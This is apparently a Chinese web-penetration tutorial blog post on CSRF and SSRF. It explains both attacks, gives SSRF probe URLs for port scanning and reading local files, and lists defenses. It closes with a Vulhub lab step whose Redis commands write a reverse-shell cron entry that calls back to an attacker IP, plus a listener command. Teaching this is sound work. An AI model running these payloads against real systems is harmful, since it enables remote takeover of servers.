Web渗透10_CSRF SSRF

1 CSRF漏洞

CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

CSRF是一种欺骗受害者在身份验证后的web提交非本意的请求的一种攻击手段。继承了受害者的身份和特权,代表受害者执行非本意的操作。

攻击者通过对目标网站的熟悉,构造恶意操作链接。因为网站上的各种操作归根结底就是一些URL链接,将链接提交给目标网站服务器,服务器验证身份后对此做出反应,一个操作就完成了。这些链接影响到用户的所有操作。 通过对恶意操作链接的伪装,诱使目标网站用户点击,而浏览器就会自动连同你的身份信息和恶意操作链接发送给目标服务器,来执行恶意攻击。

浏览器的请求会自动发送与目标站点关联的所有凭据。例如用户cookie,IP地址,windows域凭证等等信息,因此如果用户在某个站点A已经进行了身份验证,类似打开网站不用登录。而恰巧又在其他站点B点击了与网站A相关的恶意操作链接,那么结果很有可能造成很大的损失,尤其是当用户的网站身份是网站管理元时。

所以不要点击不明链接!!!

有时候可以将CSRF攻击存储在易受攻击的网站A上。造成 存储的CSRF攻击。存储为带有而已操作链接的img iframe等html 标记,或者通过结合XSS漏洞来攻击。因为就在A站点上等待用户上钩,比在其他站点等待更有效。

CSRF触发

<A>标签

<a href="恶意攻击操作链接">美女图片</a>

重点来了! 美女图片,美色诱惑是无敌的。这个土方法在视频网站已经是圣经一般的操作,能带来大量的点击量,从而得到视频点击数的收益。

<img src="">

<img src="恶意攻击操作链接">

利用图片的地址去发送请求。

一般请求有 GET 还有 POST 发送的。相对来说GET请求比较隐蔽,而POST一般用于表单可能会有某些表单信息,不过这些表单信息是可以隐藏的,表单的提交执行链接恶意攻击操作链接也可以利用JS代码进行立即执行不需要点击的。

CSRF防御

无效防御

秘密cookie

秘密cookie也会随着操作被提交到服务器。这个是无效的。

仅接受POST数据

前面已经演示过这个方法不可靠,攻击也有可能通过POST来提交。

多步操作

这个有一些用,但是攻击者也会上那个网站。清楚具体的流程来构造攻击的URL链接序列。

URL重写

防的住一时防,不住一世。

https

https仅是加密的传输,与http无异。 无用

有效防御

referer 验证

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

在通常情况下,访问一个安全受限页面的请求必须来自同一个网站页面。

正确的Referer是网站真实操作的页面的URL,而伪造的攻击URL不可能是原来的URL。造成有效防御。

token验证

在操作链接上附加上随机的参数,所以链接也是动态的。在服务器上增加一个拦截器验证Token,若没有或者不匹配则认为是CSRF攻击进行拦截。

二次验证

操作要求输入验证码,输入密码。这样进行恶意操作就会有验证信息弹出,不会执行。用户也可以知晓遭到攻击。

2 SSRF

服务器端请求伪造SSRF(Server Side Request Forgery) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据(百度识图)的功能,但又没有对目标地址做严格过滤与限制。

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

由于提供此种功能的服务器内网的IP地址也可以被服务器请求, 而且是通过漏洞服务器以内网的身份访问,通过这个漏洞可以探测服务器内网环境。

危害

  1. 服务器端口扫描
  2. 内网Web(配置信息)指纹识别
  3. 攻击内网
  4. 读取服务器本地文件。

相关代码函数

从其他服务器应用获取数据需要脚本文件的函数支持

常见的PHP函数。

file_get_contents()
fsockopen()
curl_exec()

常见利用

访问正常文件

提交参数?url=https://www.baidu.com/robots.txt,可以访问百度的爬虫允许爬取列表。

端口扫瞄

提交参数,若端口开放,则有回显。不开放则会有报错。

?url=dict://127.0.0.1:22

?url=dict://127.0.0.1:3306

?url=dict://127.0.0.1:21

读取系统本地文件

?url=file://c:\windows\system32\drivers\etc\hosts

内网WEB指纹识别

识别web使用的框架,平台,插件,CMS。对后期的渗透也是有帮助的。

一些组件具有特别的文件目录结构,可以去尝试。

?url=httpc://localhost/phpmydamin/README

攻击内网应用

内网的安全防护一般没有对于外部防御那么坚固,各种漏洞是广泛存在的。SSRF对内网的访问,可以延伸到对内网机器的访问,有时可以发起对内网机器的攻击,获得webshell。

仅通过GET的方法就能利用SSRF来攻击一些web应用,例如Struts2的命令执行。

SSRF漏洞挖掘

image

SSRF漏洞防御

  1. 限制协议: 限制仅允许 http https
  2. 限制IP: 限制不可访问IP黑名单
  3. 限制访问端口: 仅访问的端口是正常端口才允许。 80
  4. 过滤返回信息: 对返回的信息进行过滤

SSRF 漏洞实战

Vulhub SSRF 漏洞 https://vulhub.org/#/environments/weblogic/ssrf/

反弹shell

/etc/crontab是linux的计划任务文件。通过Redis的读写文件权限,在/etc/crontab里写下反弹shell的代码,接受shell的攻击主机开启端口监听,获得由受害服务器反弹的shell权限。

发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/21.86.94.21/888 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

# 指定接受shell的IP地址 和端口 
# 21.86.94.21:888

开启监听的LINUX命令
ncat-lvvp 777

posted @ 2021-08-16 17:57  Dba_sys  阅读(101)  评论(0编辑  收藏  举报